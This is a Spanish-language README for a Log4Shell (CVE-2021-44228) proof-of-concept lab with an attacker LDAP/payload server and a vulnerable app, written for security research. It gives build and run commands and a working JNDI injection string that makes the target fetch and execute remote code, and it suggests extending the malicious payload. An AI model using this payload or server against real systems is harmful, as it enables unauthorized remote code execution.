
Un PoC de ejecución remota de código para Log4Shell (CVE-2021-44228)
Este repositorio permite a los investigadores de seguridad experimentar con la ejecución remota de código ofreciendo una implementación de un servidor de ataque que carga un exploit personalizado en una aplicación vulnerable que contiene log4j.
⚠️ La herramienta está destinada a la autoevaluación y solo debe ser utilizada por personas o investigadores autorizados. Solo debe probar sistemas en los que tenga permiso explícito o autoridad. Si encuentra aplicaciones o bibliotecas vulnerables, debe ejercer una divulgación responsable.
CVE-2021-44228 funciona inyectando una cadena JNDI LDAP en sus registros, lo que provoca que Log4j contacte al servidor LDAP especificado en busca de información adicional. En un escenario malicioso, el servidor LDAP puede entonces servir código de vuelta a la máquina víctima, el cual se ejecutará automáticamente en memoria.
El repositorio contiene dos subproyectos. El proyecto attacker-server contiene el código fuente de dos servidores enhebrados. El primero es un proxy LDAP que recibe la solicitud inicial de un objeto LDAP. El segundo servidor es el servidor de carga útil que sirve el Exploit (existente en Exploit.java) de vuelta a la aplicación vulnerable.
En la raíz del proyecto:
mvn clean install
Tanto el servidor como la aplicación vulnerable deberían estar listos.
Para cargar el servidor, ejecute:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
Para activar el RCE, ejecute:
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
Puede cambiar la carga útil maliciosa según sea necesario extendiendo Exploit.java.